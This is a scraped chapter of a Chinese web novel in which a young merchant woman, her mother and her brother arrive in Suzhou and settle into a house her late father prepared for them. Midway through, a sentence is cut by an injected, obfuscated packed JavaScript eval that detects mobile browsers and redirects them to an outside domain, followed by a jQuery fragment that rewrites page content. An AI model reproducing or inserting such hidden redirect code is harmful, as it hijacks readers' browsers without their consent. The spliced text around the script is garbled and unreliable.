默认冷灰
24号文字
方正启体

20. 抵达姑苏

作者:知树小蝉本书字数:K更新时间:
    船行了将四日,总算停靠在了姑苏。


    周家提前清理出来了码头,连岸边叫卖的货郎、候客的马车都被请走了,只余下几个穿着青布短褂的仆役守着,特意腾出来给船上的人用。


    因此孟宁下船的时候,脚刚踩着跳板,就觉出几分异样来。


    往日里总听人说姑苏码头何等热闹,此刻却静得能听见水波拍岸的声响,她正蹙眉打量,忽闻一阵杂乱的脚步声。


    码头上远处候着的人竟一窝蜂挤过来,簇拥着刚下船的周弘远问长问短,有问船上是否安稳的,有说家里已备下接风宴的,她这才反应过来是周家清了场。


    周弘远这几日倒是殷勤,每日午后必来敲她舱门,手里总提着些精致茶点,要么说舱外的落日值得一看,要么说新沏的茶水该尝尝。


    美名其曰是交流经商的经验,实则半句不离那些琐碎事。


    比如昨日指着舱外掠过的水鸟,忽然问她:“孟小姐这般有主见,想必幼时便与寻常闺阁女子不同?是家中长辈特意教的经商之道?”


    今日又捧着本账册,翻了两页便抬头看她:“说起来,孟小姐身边似无贴身护卫,莫非家中未曾为你议亲?若有个知冷知热的人在旁,行商路上也能多个照应。”


    孟宁起初还耐着性子敷衍,说几句“家父曾教过些皮毛”“如今只想专心打理生意”,可架不住他日日如此,连她晨起爱喝浓茶、夜里爱点松油灯这些小事都要追问。


    到了第三日,周弘远又来敲门时,她正专心看着书,被人扰得厉害,索性捏捏眉心,隔着门回了句:“周公子恕罪,许是船上风凉,我这两日总觉头疼,实在经不起叨扰,改日再向公子讨教吧。”


    这话一出,周弘远果然没再坚持,只隔着门说了句“那你好生歇息”。


    直到船靠岸,他都没再来找过她,倒让孟宁松了口气,扶着丫鬟的手走下跳板时,只当这桩烦心事总算暂告一段落。


    谁曾想周弘远眼尖,远远瞧见她,对围在身边的人群说了什么,自动让出一条走向孟宁的路。


    “孟小姐,不知弘远可否有幸请你一聚?”周弘远垂首站着,折扇拢在臂弯里,双臂微屈,拳与扇在胸前轻轻一合,作势拱了拱,语气从容。


    孟宁敛衽福身:“劳公子挂心,等孟宁歇顺了气,定当应约。”


    周弘远这才含笑别过,转身融入码头的人群中。


    “小姐……”云舒站在斜后方,见人走远了,悄悄扯了扯孟宁的袖子,眉尖带着点担忧。


    孟宁拍拍她的手示意无事,转头便见母亲苏荷牵着孟景明从船上下来。


    苏荷身着一件石青色缠枝莲对襟褙子,料子挺括,暗纹在日头下若隐若现,裙摆稳当地扫过踏板,唇角噙着一抹端庄笑意。


    这是出发前孟宁特意寻了好料子为她做的,衬得人愈发沉稳大气。


    “母亲这样瞧着,精神气足了好多,就该穿这样的衣裳才是。”


    孟宁上前亲热地挽住苏荷的手,脸上露出几分女儿家的娇嗔,又转头看向孟景明。


    一旁的孟景明早扬起了小脸,嘴角咧得老高,眼睛亮晶晶的,满是见到姐姐的欢喜。


    孟宁被他逗笑,伸手在他脸上捏了一把:“别光顾着乐,柳先生留的功课,到了这儿也得做。”


    孟景明的小脸立刻垮了些,明显蔫了下来。苏荷在一旁帮腔:“既是初到姑苏,便让他歇上几日吧。”


    孟宁故作沉吟,随即俯身对弟弟道:“那就勉为其难放你几天假,等寻好学堂,可得乖乖念书,知道了吗?”


    “嗯!”孟景明用力点头,惹得孟宁和苏荷都笑了起来。


    说笑间,孟宁目光扫过码头,正寻着那抹熟悉的身影,忽见远处石阶旁立着个人,眼睛一亮,朝那边招了招手。


    那男人约莫四十岁年纪,原就一直朝这边望,此刻见孟宁招手,忙朝身后的仆役吩咐了两句,快步走了过来。


    到了近前,他朝苏荷、孟宁躬身行礼,脸上堆着熟络又不失分寸的温和:“在下张鼎,等候夫人、小姐多时了。”


    孟宁上前半步,虚扶了他一下,目光落在他脸上时,只觉他比几个月前见时苍老了些,鬓角似添了几缕白,与记忆里那个爱哈哈大笑的张叔模样有差。


    张鼎似是察觉到她的打量,微垂了眼帘,手臂向后轻挥,引着她们往巷口去:“马车备在巷口了,这边请。”


    一行人跟着往前走,孟宁错身挽住母亲的手臂,低声道:“这便是父亲生前得力的管事张鼎,母亲先前没见过,他常年在外帮父亲打理产业。”


    苏荷点头记下,脚步不停,待上了马车,才颔首朝张鼎谢道:“有劳张管事了。”


    “夫人客气了。”张鼎欠身应下。


    马车刚拐过街角,孟宁便听见一阵喧闹,她伸手掀起竹帘,目光立刻被铺展在眼前的繁华攫住。


    青石板路被往来行人踩得油亮,两侧的店铺密密匝匝挤着,连招揽客人的幌子上都绣着金线,格外惹眼。


    再往前些是摆满摊子的市集,吆喝声不绝于耳。穿长衫的书生、挑着担子的货郎、摇着折扇的富家公子、挽着竹篮的仆妇,摩肩接踵地往前涌,脚步声、叫卖声、车轮碾过石子的咯吱声,混着远处戏楼飘来的锣鼓,搅成一团热闹的声浪,直往车帘缝里钻。


    直到马车转过石桥,街面才稍显宽敞,可那股子由人声、香气、光影交织成的繁华气,仍像潮水似的漫在空气里,让她指尖捏着的竹帘都仿佛沾了几分热络。


    “没想到姑苏竟如此繁华……”饶是孟宁常跟着父亲外出,这也是她第一次到江南富饶之地,眼睛连连望着窗外。


    里侧的苏荷也开了眼界,这还是她三十多年来第一次出远门,抓握着孟宁的手不禁又紧了些。倒是孟景明十分好奇,贴在孟宁后面跟着向外张望。


    孟宁察觉到母亲的紧张,让孟景明先坐好,然后松开竹帘,身体靠近母亲了一些,安抚道:“母亲莫要紧张,宁儿和您一起适应一段时间就好了。”


    “……”苏荷轻蹙眉头,叹出一口气,“来之前,我竟还想着留在霁州安稳过日,如今真出了门,反倒不舍得回那地方。”


    孟宁莞尔一笑,赞同了母亲的说法。


    没有人会在伸手触到富贵时,会随意毁去自己创下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135920|180176||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的财富回到起点。


    她要在这站稳脚跟,要做这第一富商,便从来不会让自己困在过去。


    “夫人、小姐,到地方了。”


    马车刚停稳,一只纤细的手便撩开了车帘,旁边候着的云舒连忙伸手扶稳。孟宁踩着踏板下车时,身上的浅灰素纱褙子轻轻晃了晃,裙摆扫过地面,轻巧得像片云。


    她往旁退了半步,给随后下来的母亲让出位置,抬眼便望见门楣上那块牌匾——“孟府”二字笔力遒劲,透着熟悉的风骨。


    “这……”孟宁心头一震,眼神里浮起明显的错愕。


    刚站稳的苏荷顺着女儿的目光望去,看清那字迹的瞬间,眼眶“唰”地红了。


    “是你爹的字。”她声音微哑,忙低下头,悄悄拭了拭眼角,又拉起孟景明的手,指着牌匾柔声道:“那是你们爹爹写的,景明以后也要练得这么好,好不好?”


    孟景明踮着脚,小手往苏荷眼角一贴:“娘眼睛红了,是难过吗?景明不玩了,要好好读书。”


    孟宁听着弟弟的话,深吸了口气,转头对张鼎道:“辛苦张叔了。”


    “小姐说哪里话。”张鼎脸上掠过一丝黯然,“这宅子本就是老爷特意买下,亲笔题了字,原是早早就备着接你们来的,只是……”话没说完,却已足够让人明白。


    门前这点伤感,推开门总要收起来的,日子终究要往下过。


    孟宁手落在门上,用力一推。打眼从正门望进去,正头是个方正的天井,两侧各有耳房供下人居住。


    再往里走进二进院,便是正厅。一看便知道是张叔派人常来打扫的缘故,桌椅书画都没落灰,干净敞亮得很,住进来也不用多操其他心。


    西院是内眷居住的地方,用小花园与外院隔开来。而东边院落虽不大,但单用作书房、账房和会客的地方却刚刚好。


    最后面便是三进的院落,还落了几间偏房空着。中央和霁州一样有一方小池,只是是用假山堆的,山脚下引了活水,种了几竿翠竹,风一吹,竹叶簌簌作响,映衬得一旁花圃甚是好看。


    池边一座蒙了纱帐的亭子,坐在亭子里喝茶赏景皆可,还铺了软垫。孟宁手掀起纱帐,心里不免感叹起这里的布置,处处皆合她的心意。


    “张叔平日定费了不少心。”若不是常来打理,哪能这么妥帖。


    “过两日我再给夫人和小姐送些仆妇过来,”张鼎拱手道,“不然这么大宅子,住着太过空落。”


    送走张鼎后,苏荷才急切拉住孟宁的手,指尖微微发颤,还带着些不可置信:“宁儿,这宅子……往后就我们住着?”


    “自然。”孟宁轻轻揉着母亲的手背,笑了笑,“往后家里里外外,还得靠母亲主持呢,您呀,有的忙了。”


    苏荷被女儿说得愣了愣,眼角的红还没褪尽,笑意却先漫开来:“是啊,得忙起来才好。”


    风穿过竹梢,带着水汽的凉润,拂过孟宁的发梢。


    日子就像这池里的活水,虽换了河道,却终究是要往前淌的。


    “云舒,”她扬声道,“去看看各房里的被褥晒过没有,咱们就要安顿下来了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)